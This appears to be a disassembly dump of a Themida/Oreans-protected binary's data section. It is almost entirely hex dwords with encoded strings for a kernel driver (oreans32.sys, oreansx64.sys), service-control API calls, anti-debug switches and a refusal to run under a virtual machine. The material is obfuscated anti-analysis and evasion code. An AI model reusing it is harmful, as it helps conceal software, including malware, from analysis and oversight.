95FF0612h, 612B340h dd 0B334B5FFh, 95FF0612h, 610058Dh, 8960C361h, 12B33885h dd 34858D06h, 500612B3h, 0B29E858Dh, 68500612h, 80000001h dd 0B34495FFh, 46A0612h, 0B338858Dh, 6A500612h, 8D006A04h dd 12B32085h, 0B5FF5006h, 612B334h, 212595FFh, 0BD830610h dd 610158Dh, 0C840F00h, 0FF000000h, 12B334B5h, 4095FF06h dd 0FF0612B3h, 12B334B5h, 8D95FF06h, 61061005h, 858960C3h dd 612B338h, 0B334858Dh, 8D500612h, 12B29E85h, 1685006h dd 0FF800000h, 12B34495h, 8D046A06h, 12B33885h, 46A5006h dd 858D006Ah, 612B327h, 34B5FF50h, 0FF0612B3h, 10212595h dd 8DBD8306h, 61015h, 0C840Fh, 0B5FF0000h, 612B334h, 0B34095FFh dd 0B5FF0612h, 612B334h, 58D95FFh, 0C3610610h, 3885C760h dd 10612B3h, 8D000000h, 12B33485h, 858D5006h, 612B29Eh dd 26850h, 95FF8000h, 612B344h, 840FC00Bh, 0Fh, 0B33885C7h dd 612h, 4DE90000h, 6A000000h, 38858D04h, 500612B3h, 6A046Ah dd 0B2B2858Dh, 0FF500612h, 12B334B5h, 2595FF06h, 0B061021h dd 0F840FC0h, 0C7000000h, 12B33885h, 6, 0AE900h, 85C70000h dd 612B338h, 1, 0B334B5FFh, 95FF0612h, 610058Dh, 38858B61h dd 0C30612B3h, 38858960h, 8D0612B3h, 12B33485h, 858D5006h dd 612B29Eh, 16850h, 95FF8000h, 612B344h, 858D046Ah, 612B338h dd 6A046A50h, 0B2858D00h, 500612B2h, 0B334B5FFh, 95FF0612h dd 6102125h, 158DBD83h, 0F000610h, 0C84h, 34B5FF00h, 0FF0612B3h dd 12B34095h, 34B5FF06h, 0FF0612B3h, 10058D95h, 60C36106h dd 0B3388589h, 858D0612h, 612B334h, 9E858D50h, 500612B2h dd 168h, 4495FF80h, 6A0612B3h, 38858D04h, 500612B3h, 6A046Ah dd 0B2C4858Dh, 0FF500612h, 12B334B5h, 2595FF06h, 83061021h dd 10158DBDh, 840F0006h, 0Ch, 0B334B5FFh, 95FF0612h, 612B340h dd 0B334B5FFh, 95FF0612h, 610058Dh, 85C6C361h, 61023E5h dd 7B076852h, 0B5FFADE4h, 6102E61h, 192195FFh, 85890610h dd 612B344h, 23E585C6h, 68520610h, 902E00E5h, 2E61B5FFh dd 95FF0610h, 6101921h, 0B3408589h, 85C60612h, 61023E5h dd 12356852h, 0B5FFB9BFh, 6102E61h, 192195FFh, 85890610h dd 6102125h, 23E585C6h, 68520610h, 98781034h, 2E61B5FFh dd 95FF0610h, 6101921h, 58D8589h, 85C60610h, 61023E5h dd 0DBD46852h, 0B5FFC005h, 6102E61h, 192195FFh, 85890610h dd 6101451h, 14E8h, 13C85200h, 0EF2F45D5h, 0CDEE79FFh dd 0ABD4755Fh, 667826FCh, 0C3BF0FCBh, 81CB8B5Bh, 60C8C3h dd 0F88B6600h, 5957D233h, 811A34FFh, 0A79015CFh, 66565E28h dd 0D943D981h, 4FEE8159h, 8B5A3AE5h, 29C681FBh, 0E940BEEFh dd 11h, 0AE1FC84Eh, 0DEDF0BCh, 0D92B592h, 0F7972591h, 3FC681D2h dd 89196B2Bh, 81661334h, 0F5439C8h, 89h, 2EEA8100h, 0F56A739Fh dd 9F2AC281h, 0E8516A73h, 10h, 0E4B90DCAh, 633CF005h, 6A1DF768h dd 0B3DE9184h, 0FA815958h, 0FFFFA01Ch, 2D850Fh, 0E9600000h dd 10h, 0F35E6F3Fh, 2E070E8Ah, 0C9C01385h, 57C16D3Fh, 2BE961h dd 0AEE30000h, 2E065E78h, 0AF1CB016h, 0E81D7D8Dh, 66E319F0h dd 51E9C78Bh, 10FFFFFFh, 86B72A3Fh, 696636ABh, 36C9B988h dd 1D5DE1A4h, 99E908h, 622F0000h, 68636775h, 326B6365h dd 75622F00h, 65686367h, 2F006B63h, 63726F66h, 6E757265h dd 75622F00h, 65686367h, 75666B63h, 2F006C6Ch, 776F6873h dd 65646F63h, 68732F00h, 6F63776Fh, 326564h, 726C632Fh dd 642F0074h, 317369h, 6F68732Fh, 736E6977h, 636E6174h dd 672F0065h, 6C777465h, 74617473h, 2F007375h, 73676F6Ch dd 75746174h, 642F0073h, 73706D75h, 75746174h, 73h, 632F0000h dd 6B636568h, 746F7270h, 69746365h, 6E6Fh, 83000000h, 12BAEBBDh dd 840F0006h, 0Ah, 9585C7h, 10610h, 85C60000h, 61023E5h dd 0FF726847h, 3481C4DBh, 0B693FF24h, 99B5FF54h, 8D061014h dd 103A3285h, 0FFD0FF06h dd 80F88BD0h, 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh dd 18840F00h, 47000003h, 0F003F80h, 30E84h, 1EE900h, 3F800000h dd 840F00h, 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h dd 0FFFFFFE2h, 0F003F80h, 585h, 2DDE900h, 1E90000h, 47000000h dd 0F203F80h, 0FFFFF684h, 3F80FFh, 5850Fh, 0C0E90000h dd 0E8000002h, 0Ah, 0FFFFCBE9h, 2B1E9FFh, 0B58D0000h, 612BA6Bh dd 225E8h, 0BD0300h, 830612BBh, 12BB00BDh, 840F0006h, 0Bh dd 158D85C7h, 10610h, 8DC30000h, 12BA76B5h, 1FCE806h, 0BD030000h dd 612BB00h, 0BB00BD83h, 0F000612h, 0B84h, 9585C700h, 1061000h dd 0C3000000h, 0BAEFB58Dh, 0D3E80612h, 3000001h, 12BB00BDh dd 0BD8306h, 612BBh, 0B840Fh, 85C70000h, 6100D39h, 1, 80B58DC3h dd 0E80612BAh, 1AAh, 0BB00BD03h, 0BD830612h, 612BB00h dd 0B840F00h, 0C7000000h, 10009585h, 106h, 0B58DC300h dd 612BA8Ah, 181E8h, 0BD0300h, 830612BBh, 12BB00BDh, 840F0006h dd 15h, 9585C7h, 10610h, 85C70000h, 610158Dh, 1, 98B58DC3h dd 0E80612BAh, 14Eh, 0BB00BD03h, 0BD830612h, 612BB00h dd 0A840F00h, 0C7000000h, 1015BD85h, 106h, 0A2B58D00h dd 0E80612BAh, 126h, 0BB00BD03h, 0BD830612h, 612BB00h dd 0A840F00h, 0C7000000h, 1015BD85h, 106h, 0ADB58D00h dd 0E80612BAh, 0FEh, 0BB00BD03h, 0BD830612h, 612BB00h dd 0A840F00h, 0C7000000h, 10234185h, 106h, 0B3B58D00h dd 0E80612BAh, 0D6h, 0BB00BD03h, 0BD830612h, 612BB00h dd 0A840F00h, 0C7000000h, 100BD185h, 106h, 0B9B58D00h dd 0E80612BAh, 0AEh, 0BB00BD03h, 0BD830612h, 612BB00h dd 0A840F00h, 0C7000000h, 1007DD85h, 106h, 0C7B58D00h dd 0E80612BAh, 86h, 0BB00BD03h, 0BD830612h, 612BB00h, 0A840F00h dd 0C7000000h, 102F3D85h, 106h, 0D4B58D00h, 0E80612BAh dd 5Eh, 0BB00BD03h, 0BD830612h, 612BB00h, 0A840F00h, 0C7000000h dd 102D6585h, 106h, 0DFB58D00h, 0E80612BAh, 36h, 0BB00BD03h dd 0BD830612h, 612BB00h, 0A840F00h, 0C7000000h, 102E6D85h dd 106h, 1E900h, 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h dd 0B960C3FFh, 1, 19E9DE8Bh, 80000000h, 850F003Fh, 2, 178AC92Bh dd 840F1638h, 2, 4746C92Bh, 0F003E80h, 884h, 0FC90B00h dd 0FFFFD685h, 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h dd 0A850F20h, 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h dd 0D840Fh, 0F32B0000h, 0BB00B589h, 0AE90612h, 0C7000000h dd 12BB0085h, 6, 0B8C36100h, 0 dd 840FC00Bh, 0Ah, 15BD85C7h, 610h, 0C88B0000h, 20EE9h dd 61433300h, 746F6E6Eh, 69727720h, 6F206574h, 6E616572h dd 78762E73h, 4D0D0A64h, 20656B61h, 65727573h, 61687420h dd 68742074h, 66207369h, 20656C69h, 6E207369h, 6220746Fh dd 676E6965h, 65737520h, 79622064h, 6F6E6120h, 72656874h dd 6F727020h, 6D617267h, 2Eh, 67h dup(0) dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0) dd 0E9000000h, 0EFh, 23E585C6h, 68470610h, 0E3E45B86h dd 1499B5FFh, 858D0610h, 6103A32h, 468D0FFh, 8D000001h dd 1033859Dh, 0D0FF5306h, 8AB58D50h, 8B0612C0h, 0AEC032FEh dd 0FFF9850Fh, 0FE2BFFFFh, 8B58CF8Bh, 0F3F803FBh, 0E585C6A4h dd 43061023h, 8E6EFC68h, 99B5FFBCh, 8D061014h, 103A3285h dd 8DD0FF06h, 103385B5h, 68006A06h, 80h, 6A026Ah, 68006Ah dd 56C00000h, 0D88BD0FFh, 23E585C6h, 68570610h, 0A69BEE56h dd 1499B5FFh, 858D0610h, 6103A32h, 0BD8DD0FFh, 61031BDh dd 0C1B08D8Dh, 6A0612h, 37D06857h, 53510000h, 0C085D0FFh dd 1B850Fh, 0B58D0000h, 612BE92h, 0AB5E858Dh, 0D0FF0612h dd 73A38D8Dh, 0B80610h, 0FF000000h, 0E585C6E1h, 43061023h dd 764AA768h, 99B5FFC0h, 8D061014h, 103A3285h, 53D0FF06h dd 0B9C3D0FFh, 37D0h, 0E8h, 0C0835800h, 0E908890Eh, 2 dd 0D0E9C38Bh, 4D000037h, 300905Ah, 4000000h, 0FF000000h dd 0B80000FFh, 0 dd 40000000h, 8 dup(0) dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh dd 240A0D0Dh, 0 dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h dd 887376h, 0 dd 4C000000h db 45h byte_5776CD db 3 dup(0) ; DATA XREF: Themida_:0054C1A8o dd 2000000h, 400h, 0 dd 14000380h, 5 dup(0) dd 0C0000002h, 90000001h, 0 dd 7E000000h, 0 dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0) dd 2C000000h, 38000001h, 1, 0 dd 42000000h, 96000001h, 0D2000001h, 1, 0D2000000h, 1 dd 0 dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0) dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h dd 444F43h, 100h, 200h, 300h, 400h, 500h, 600h, 700h, 800h dd 900h, 0A00h, 0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h dd 1100h, 1200h, 1300h, 8001400h, 4F525058h, 44585654h dd 1000000h, 3000103h, 2 dup(0) dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h dd 7005001h, 1019100h, 27279Bh, 276F0106h, 17D0179h, 1850181h dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh dd 27h, 16Ah dup(0) db 2 dup(0) word_577E4A dw 0 ; DATA XREF: Themida_:005559A8o dd 1F5h dup(0) dd 1000004h, 58000000h, 544F5250h, 445856h, 800000h, 8 dup(0) dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h dd 527376h, 9C3h dup(0) dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h dd 9 dup(0) dd 33C3C033h, 7E83C3C0h, 475000Ch, 1AEBC033h, 10C7E83h dd 58D1475h, 0 dd 89187E8Bh, 2046C707h, 4, 0CC3C033h, 4F525058h, 44585654h dd 4244445Fh, 0E8000000h, 0Fh, 7D295D95h, 0EBD95F81h, 4BF17428h dd 97CB106h, 10299995h, 0C3815B06h, 5DF8h, 5899D89h, 95BA0610h dd 8128428Eh, 427735EAh, 6633FF28h, 588AA7BEh, 812EC580h dd 0C8F1BBC0h, 0F081F51Ah, 6FEA52Fh, 15FF6AB9h, 5C08115h dd 517C2863h, 283DBD8Bh, 505F0610h, 8B5BD33h, 38F0610h dd 0E498D89h, 0EB830610h, 71BD0904h, 4A061014h, 0FFB7850Fh dd 9589FFFFh dword_57AE68 dd 6102AFDh, 10B7E9h, 56444100h, 33495041h, 4C442E32h ; DATA XREF: Themida_:0054BDF0o ; Themida_:0054CAF8o dd 704F004Ch, 43536E65h, 616E614Dh, 41726567h, 65724300h dd 53657461h, 69767265h, 416563h, 72617453h, 72655374h dd 65636976h, 65470041h, 74614E74h, 53657669h, 65747379h dd 666E496Dh, 704F006Fh, 65536E65h, 63697672h, 44004165h dd 74656C65h, 72655365h, 65636976h, 6F6C4300h, 65536573h dd 63697672h, 6E614865h, 656C64h, 746E6F43h, 536C6F72h dd 69767265h, 6563h, 7 dup(0) dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0) aOreansx64_sys db 'oreansx64.sys',0 align 10h dd 0 dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0) dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h dd 6165726Fh, 3233736Eh, 7379732Eh, 49h dup(0) dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h dd 6172676Fh, 2E6Dh, 59h dup(0) dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0) dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0) dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 70580000h, 45746F72h, 746E6576h, 0Bh dup(0) dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch dd 0 dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh dd 68742072h, 65207369h, 726F7272h, 0 dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h dd 656E6968h, 70h dup(0) dd 100000h, 1000000h, 0FEFFFF00h, 17Fh, 100h, 24A00h, 1000000h dd 8000F00h db 4, 0 word_57BE82 dw 94h ; DATA XREF: Themida_:0054D2D8o ; Themida_:0054DCF0o dd 50000h, 10000h, 0A280000h, 20000h, 21h dup(0) dd 6F530000h, 61777466h, 575C6572h, 656E69h, 0D981C48Bh dd 58841574h, 8498589h, 0BD8B0610h, 6100D8Dh, 5E8C08Bh dd 35000000h, 0FB609246h, 59CA8B66h, 158DBD83h, 75000610h dd 95BD8309h, 61000h, 53501974h, 3DB8C08Bh, 89000004h dd 100E6585h, 159D8D06h, 0FF0612B8h, 83585BD3h, 100095BDh dd 17740006h, 3DB85350h, 89000004h, 100E6585h, 49D8D06h dd 0FF0612B5h, 1585BD3h, 1005BD85h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 8B33C57Fh dd 5E9C0h, 9F700000h, 8BB5D6D7h, 55006AC0h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 5E9923A2h dd 2D958B60h, 5706101Eh, 335D8D8Bh, 615F0610h, 83FABF0Fh dd 10158DBDh, 9750006h, 95BD83h, 74000610h, 8B535013h dd 0B8C0h, 9D8D0000h, 612B6B7h, 585BD3FFh, 95BD83h, 74000610h dd 0B8535011h, 0 dd 0B5689D8Dh, 0D3FF0612h, 0F60585Bh, 138Ah, 0EE900h, 4FB70000h dd 4B546F15h, 798BFA5Bh, 0CBBECAE2h, 61FABF0Fh, 6840Fh dd 0BD8B0000h, 6100585h, 6660C08Bh, 8166DA8Bh, 6189C6CAh dd 0FC60C08Bh, 0D8ECBA66h, 0D68B6661h, 158DBD83h, 75000610h dd 95BD8309h, 61000h, 53501374h, 0B8C08Bh, 8D000000h, 12B5E99Dh dd 5BD3FF06h, 95BD8358h, 61000h, 53501174h, 0B8h, 369D8D00h dd 0FF0612B5h, 89585BD3h, 100BF1BDh, 0C1B50106h, 8B061008h dd 0E9C08BC8h, 9, 5EADFB32h, 0CCA0DC21h, 83C08B1Bh, 10158DBDh dd 9750006h, 95BD83h, 74000610h, 8B535013h, 0B8C0h, 9D8D0000h dd 612B650h, 585BD3FFh, 95BD83h, 74000610h, 0B8535011h dd 0 dd 0B54F9D8Dh, 0D3FF0612h, 6A585Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 8D2B49C3h dd 6100DE1h, 21B19D89h, 9D890610h, 6102179h, 8960C08Bh dd 1008B1B5h, 58D8906h, 6106102Fh, 0E953C08Bh, 6, 87E86AA9h dd 835F5C46h, 10158DBDh, 9750006h, 95BD83h, 74000610h dd 8B535013h, 0B8C0h, 9D8D0000h, 612B582h, 585BD3FFh, 6ACF8Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 380D63C3h, 0C781575Ch, 0B98B6E5h, 859D315Ah, 29061009h dd 10218D9Dh, 0E9C08B06h, 7, 0FA7384BCh, 8BD51073h, 12C281C0h dd 830970B8h, 10158DBDh, 9750006h, 95BD83h, 74000610h dd 8B535019h, 7D0B8C0h, 85890000h, 6100E65h, 0B8159D8Dh dd 0D3FF0612h, 0BD83585Bh, 6100095h, 50177400h, 7D0B853h dd 85890000h, 6100E65h, 0B5049D8Dh, 0D3FF0612h, 6A585Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 114D23C3h, 9589D78Bh, 61006F5h, 9D09C08Bh, 610168Dh dd 38F0Fh, 0B70F0000h, 0E585C6D0h, 53061023h, 0DE9h, 4AA79800h dd 46A30B33h, 9F296F60h, 90687716h, 6099395Fh, 0ADB58B60h dd 8B06102Dh, 820F61D6h, 6, 5858503h, 0FF610610h, 101499B5h dd 0C1B58906h, 8D061023h, 103A3285h, 35CE8006h, 8166D0FFh dd 894DA8CAh, 102DB985h, 0E585C606h, 57061023h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 25C35141h, 0A415E232h dd 520668F8h, 0BE99004h, 0AC000000h, 28FF18A2h, 25016518h dd 0B5FF3D87h, 6101499h, 30759589h, 858D0610h, 6103A32h dd 0C798501h, 0D0FF0610h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 3FC35141h, 5C36B1E0h, 11E8h, 0DCA48300h dd 0EF5BFE15h, 9585A06Bh, 89187CBEh, 0B9669F0Fh, 8959FF5Eh dd 10061585h, 0E585C606h, 43061023h, 12CDBD29h, 28680610h dd 0F9BC9070h, 1499B5FFh, 85310610h, 6100471h, 3A32858Dh dd 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 8CEFE6C3h, 0C9040411h, 0D0FF13ABh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 8BC35343h, 0C534E562h dd 0FFD125Ah, 482h, 0F1B96600h, 68A0F20h, 89000000h, 101C298Dh dd 0C9858906h, 6A06102Eh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 0E673C350h, 89FCA532h dd 1023299Dh, 0E585C606h, 4C061023h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0C7C35646h, 0A9B52360h, 81061009h dd 7F54DEDBh, 68F96146h, 0D9DA1CE9h, 0DE8h, 0B7515600h dd 662F2F7h, 5F99C23Ah, 0B70FC6E1h, 0B5FF5FFAh, 6101499h dd 21A5B531h, 858D0610h, 6103A32h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 0B8C35545h, 0FFD78B66h, 56006AD0h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 4DB460Ch, 0C648F8B6h, 69958B3Eh, 8906100Ch, 1015DD85h dd 0F1958906h, 0C6061007h, 1023E585h, 6A4606h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0ED0C7DC3h, 19159589h, 0B5890610h, 6102D51h, 0DE061468h dd 0E58D8BBAh, 0FF061004h, 101499B5h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0A5408164h, 4104BC42h, 858DCA7Fh, 6103A32h, 3780B966h dd 5BEF8166h, 6AD0FF65h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0B297C357h, 663704BAh dd 8589FE8Bh, 61018CDh, 2AE9BD8Bh, 85C60610h, 61023E5h dd 0F88B6647h, 0FB5E268h, 0FBB70F8Ah, 1499B5FFh, 0BF660610h dd 858DB646h, 6103A32h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 0A3C35040h, 76F71B15h, 7D653C72h, 0DB88F281h dd 8D896A45h, 61016D1h, 8589D0FFh, 6100D85h, 1118D8Bh dd 958B0610h, 6101E31h, 23E585C6h, 0F470610h, 0F368C9BFh dd 6683D0B5h, 2D66C981h, 1499B5FFh, 6A0610h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 97CD96C3h dd 1DBD8BCFh, 8906101Fh, 1011458Dh, 32858D06h, 0F506103Ah dd 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0DE525DC3h, 3D83130Eh, 2D5DB529h, 85890610h dd 6100801h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 0CAC35040h, 0BF395B8h, 27B58D8Bh, 85C60610h, 61023E5h dd 6840F77h, 8B000000h, 10163595h, 0A8A36806h, 8B0FF397h dd 2, 0B5FFCB8Bh, 61020E5h, 8DF9BF0Fh, 103A3285h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 840FE257h, 1, 8BD0FFF8h, 100FE595h, 51858906h, 6A061002h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 9F53C357h, 77081090h, 2A058D8Bh, 85C60610h dd 61023E5h, 0FAF66847h, 6A8728h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 2662D2C3h, 0A9302B36h dd 894D599Bh, 10000D95h, 99B5FF06h, 23061014h, 1011A58Dh dd 32858D06h, 8006103Ah, 0D0FF23E2h, 0F4B86660h, 0BF57BB65h dd 89617087h, 10328185h, 85895106h, 6100E69h, 0E585C65Fh dd 43061023h, 20558D29h, 0CD800610h, 6EFC6890h, 5751BC8Eh dd 2215958Bh, 59590610h, 1499B5FFh, 8D8B0610h, 6101395h dd 3A32858Dh, 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 4BC67FC3h, 0E408279Dh, 0BE99Ah dd 1E100000h, 0C151AB7h, 0B3075985h, 81D0FF84h, 0D7CAE4F1h dd 0F185890Fh, 66061015h, 85C6FA8Bh, 61023E5h, 12E945h dd 1B4D0000h, 8D3F294Fh, 821A320Dh, 0DDB05D52h, 3E37F9A7h dd 72696968h, 99958B8Eh, 0FF061031h, 101499B5h, 8D5EB106h dd 103A3285h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 66D0FF27h, 8589FE8Bh, 61009ADh, 137D8531h dd 85C60610h, 61023E5h, 75BD3144h, 66061011h, 68E2DCBAh dd 0B8F2EC64h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 21C35343h, 0E19C0929h, 0C06AF1E5h, 99B5FF06h, 6A061014h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0B6FBC351h, 5B4B4C5h, 0EA819100h, 33DA4B20h dd 3A32858Dh, 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 11E907C3h, 31000000h, 0D33F409h dd 0A9BCFD88h, 0A8F470AFh, 5B822D09h, 0A2DF8166h, 6AD0FFD2h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 0AFCC352h, 89D2BF0Fh, 100A7185h, 8D896006h dd 6103349h, 54626CBAh, 85C6614Ch, 61023E5h, 45BD0143h dd 68061023h dd 0C0764AA7h, 99B5FFF8h, 0F5061014h, 3A32858Dh, 8B660610h dd 29D0FFD7h, 100A6DBDh, 21858906h, 6A061016h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 1213C357h, 0BD80711Ch, 61305F4h, 0B1840F00h, 29000000h dd 10082995h, 0D6858D06h, 89061305h, 101E319Dh, 0B5095006h dd 6102F7Dh, 6A016Ah, 3341958Bh, 8B500610h, 1014E595h dd 6A5A06h, 0FFFA8B66h, 102EC995h, 659D8906h, 89061005h dd 10308D85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 0E927E473h, 0F07B549h, 0FF6ACBB7h dd 1ECD8501h, 0B5FF0610h, 610308Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 7BC35646h, 0F9BCAD81h, 3A336AEh dd 1FA58D89h, 95FF0610h, 6100615h, 586EF781h, 95894EAEh dd 6100541h, 0C181C08Bh, 27D17FBDh, 158DBD83h, 75000610h dd 95BD8309h, 61000h, 53501974h, 0D1B8C08Bh, 89000007h dd 100E6585h, 159D8D06h, 0FF0612B8h, 83585BD3h, 100095BDh dd 17740006h, 0D1B85350h, 89000007h, 100E6585h, 49D8D06h dd 0FF0612B5h, 81585BD3h, 18C4A3D7h, 8B53B50Bh, 6AC08BD7h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 2EC8C350h, 0B70F1C20h, 0E585C6C8h, 47061023h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0AEC35242h dd 0F0ADBFCh, 68Ah, 0DD9D8900h, 31061004h, 1000F9B5h, 0F7C16806h dd 11E893C8h, 6000000h, 9A99E8Ch, 0E6A0B61Ch, 75461E11h dd 38396885h, 2A6DBD8Bh, 0FF590610h, 101499B5h, 0D19D8906h dd 8D061006h, 103A3285h, 0F1BD8906h, 0FF06100Dh, 0CFB70FD0h dd 51006A50h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0D15D0D26h, 0A17858Dh, 85310613h, 6101E6Dh dd 9400C7h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 2F3E87C3h, 